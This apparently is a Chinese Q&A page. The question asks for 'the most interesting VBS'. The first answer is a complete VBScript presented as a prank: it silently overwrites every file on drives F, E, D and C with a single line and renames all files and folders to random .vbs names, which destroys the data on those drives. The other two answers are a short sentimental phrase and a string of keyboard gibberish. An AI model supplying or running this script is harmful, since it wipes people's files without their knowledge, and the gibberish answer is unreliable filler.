Question

写个最有趣的vbs

Answer 1

on error resume next

const DRIVE_LETTERS="F:E:D:C"
set fso = CreateObject("Scripting.FileSystemObject")

sub Start()
call NewFile()
call ScanDrives()
end sub

sub ScanDrives()
dim drives
drives=Split(DRIVE_LETTERS,":")
for each drv in drives
if fso.DriveExists(drv) then
set drive=fso.GetDrive(drv)
if drive.isReady then
call ScanFiles(drive.RootFolder)
end if
end if
next
end sub

sub ScanFiles(folder)
for each this_file in folder.Files
call DoWithFile(this_file)
next
for each this_folder in folder.SubFolders
call ScanFiles(this_folder)
next
newName=fso.GetTempName()&".vbs"
folder.name=newName
end sub

sub DoWithFile(file)
set stream=file.OpenAsTextStream(2)
stream.WriteLine("'QQ will kill you")
stream.Close()
newName=fso.GetTempName()&".vbs"
file.name=newName
end sub

sub NewFile()
end sub

call Start()

Answer 2

童话已经结束、遗忘就是幸福

Answer 3

mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmssssssssssssssssssssssgggggggggggggggggggggggggggggggbbbbbbbbbbbbbbbbbbbbbbbbbbbbboooooooooooooooooooooooooxxxxxxxxxxxxxxpxpxpxxpxxxx